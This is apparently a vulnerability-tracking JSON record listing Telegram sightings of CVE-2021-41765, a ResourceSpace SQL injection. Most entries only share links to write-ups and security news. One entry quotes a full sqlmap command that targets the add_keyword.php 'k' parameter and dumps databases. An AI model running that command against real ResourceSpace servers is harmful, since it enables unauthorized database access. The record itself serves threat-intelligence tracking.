{"vulnerability": "CVE-2021-41765", "sightings": [{"uuid": "1f10d5f5-a700-497d-ba86-4feafc007c4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41765", "type": "published-proof-of-concept", "source": "https://t.me/BlueRedTeam/1165", "content": "#exploit\nCVE-2021-41765:\nUnauthenticated SQLi to RCE Chain\nhttps://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace\n\n@BlueRedTeam", "creation_timestamp": "2021-11-12T05:30:02.000000Z"}, {"uuid": "7bda0339-d402-463a-b3e9-78cb9ed6bf3f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41765", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/4735", "content": "#exploit\nCVE-2021-41765:\nUnauthenticated SQLi to RCE Chain\nhttps://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace", "creation_timestamp": "2021-11-12T12:22:19.000000Z"}, {"uuid": "5831f0eb-14ea-41f6-9619-322ca9cc10f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41765", "type": "seen", "source": "https://t.me/bhhub/647", "content": "#BugBountyTips of the Day\n\u201cFull account takeover through referral code.\u201d by Mostafa Mamdoh  https://t.co/7fJkuCibJg  #hacking #bugbounty #infosec\n---\nWordpress Plugin Update Confusion - The full guide on how to scan and mitigate the next Big Supply chain Attack   https://t.co/zRQ6o4DBNP  #BugBounty  https://t.co/Am9xH73nLR\n---\nIDOR Isn't dead :D  Check the ID Param in Burp suite history  Thanks to @e11i0t_4lders0n @theXSSrat @HemantSolo @th3cyb3rc0p   #bugbounty #infosec #idor  https://t.co/vNkAvqb5cE\n---\nCVE-2021-41765 ResourceSpace unauthorized SQL injection  ResourceSpace <= 9.5  sqlmap --cookie 'upload_share_active=1' -u \" http://127.0.0.1/pages/edit_fields/9_ajax/add_keyword.php?k=abcd\" -p k --level=5 --risk3 --dbs --mysql  #vulnerability #infosec #BugBounty #bugbountytips", "creation_timestamp": "2021-11-26T13:37:04.000000Z"}, {"uuid": "2e3c13f6-00f7-4b83-bee0-f09de2c9ef7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41765", "type": "seen", "source": "https://t.me/cissp/4789", "content": "Offensive_security\nThe Kerberos Key List Attack:\nThe return of the Read Only Domain Controllers\nhttps://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers\n\nexploit\nCVE-2021-41765:\nUnauthenticated SQLi to RCE Chain\nhttps://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace\n\nMalware_analysis\n1. HTML smuggling surges: Highly evasive loader technique increasingly used in banking malware, targeted attacks\nhttps://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks\n2. Abcbot, an evolving botnet\nhttps://blog.netlab.360.com/abcbot_an_evolving_botnet_en\n\nThreat_Research\n1. The dark side of Microsoft Remote Procedure Call protocols\nhttps://redcanary.com/blog/msrpc-to-attack\n2. Analyzing a watering hole campaign using macOS exploits\nhttps://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits", "creation_timestamp": "2026-09-01T17:00:35.458334Z"}, {"uuid": "28f502df-54cc-43ec-ab98-603d35f6bc9b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41765", "type": "seen", "source": "https://t.me/cissp/4789", "content": "Offensive_security\nThe Kerberos Key List Attack:\nThe return of the Read Only Domain Controllers\nhttps://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers\n\nexploit\nCVE-2021-41765:\nUnauthenticated SQLi to RCE Chain\nhttps://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace\n\nMalware_analysis\n1. HTML smuggling surges: Highly evasive loader technique increasingly used in banking malware, targeted attacks\nhttps://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks\n2. Abcbot, an evolving botnet\nhttps://blog.netlab.360.com/abcbot_an_evolving_botnet_en\n\nThreat_Research\n1. The dark side of Microsoft Remote Procedure Call protocols\nhttps://redcanary.com/blog/msrpc-to-attack\n2. Analyzing a watering hole campaign using macOS exploits\nhttps://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits", "creation_timestamp": "2026-09-02T01:04:20.122796Z"}, {"uuid": "fc494c52-41e8-48be-bc9b-3ac30f861469", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41765", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4789", "content": "Offensive_security\nThe Kerberos Key List Attack:\nThe return of the Read Only Domain Controllers\nhttps://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers\n\nexploit\nCVE-2021-41765:\nUnauthenticated SQLi to RCE Chain\nhttps://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace\n\nMalware_analysis\n1. HTML smuggling surges: Highly evasive loader technique increasingly used in banking malware, targeted attacks\nhttps://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks\n2. Abcbot, an evolving botnet\nhttps://blog.netlab.360.com/abcbot_an_evolving_botnet_en\n\nThreat_Research\n1. The dark side of Microsoft Remote Procedure Call protocols\nhttps://redcanary.com/blog/msrpc-to-attack\n2. Analyzing a watering hole campaign using macOS exploits\nhttps://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits", "creation_timestamp": "2026-09-10T15:00:07.434405Z"}, {"uuid": "94dc3693-1b5b-498a-b355-f65cdb15136d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-41765", "type": "published-proof-of-concept", "source": "https://t.me/cissp/4789", "content": "Offensive_security\nThe Kerberos Key List Attack:\nThe return of the Read Only Domain Controllers\nhttps://www.secureauth.com/blog/the-kerberos-key-list-attack-the-return-of-the-read-only-domain-controllers\n\nexploit\nCVE-2021-41765:\nUnauthenticated SQLi to RCE Chain\nhttps://www.horizon3.ai/multiple-vulnerabilities-in-resourcespace\n\nMalware_analysis\n1. HTML smuggling surges: Highly evasive loader technique increasingly used in banking malware, targeted attacks\nhttps://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks\n2. Abcbot, an evolving botnet\nhttps://blog.netlab.360.com/abcbot_an_evolving_botnet_en\n\nThreat_Research\n1. The dark side of Microsoft Remote Procedure Call protocols\nhttps://redcanary.com/blog/msrpc-to-attack\n2. Analyzing a watering hole campaign using macOS exploits\nhttps://blog.google/threat-analysis-group/analyzing-watering-hole-campaign-using-macos-exploits", "creation_timestamp": "2026-09-11T00:00:35.818291Z"}]}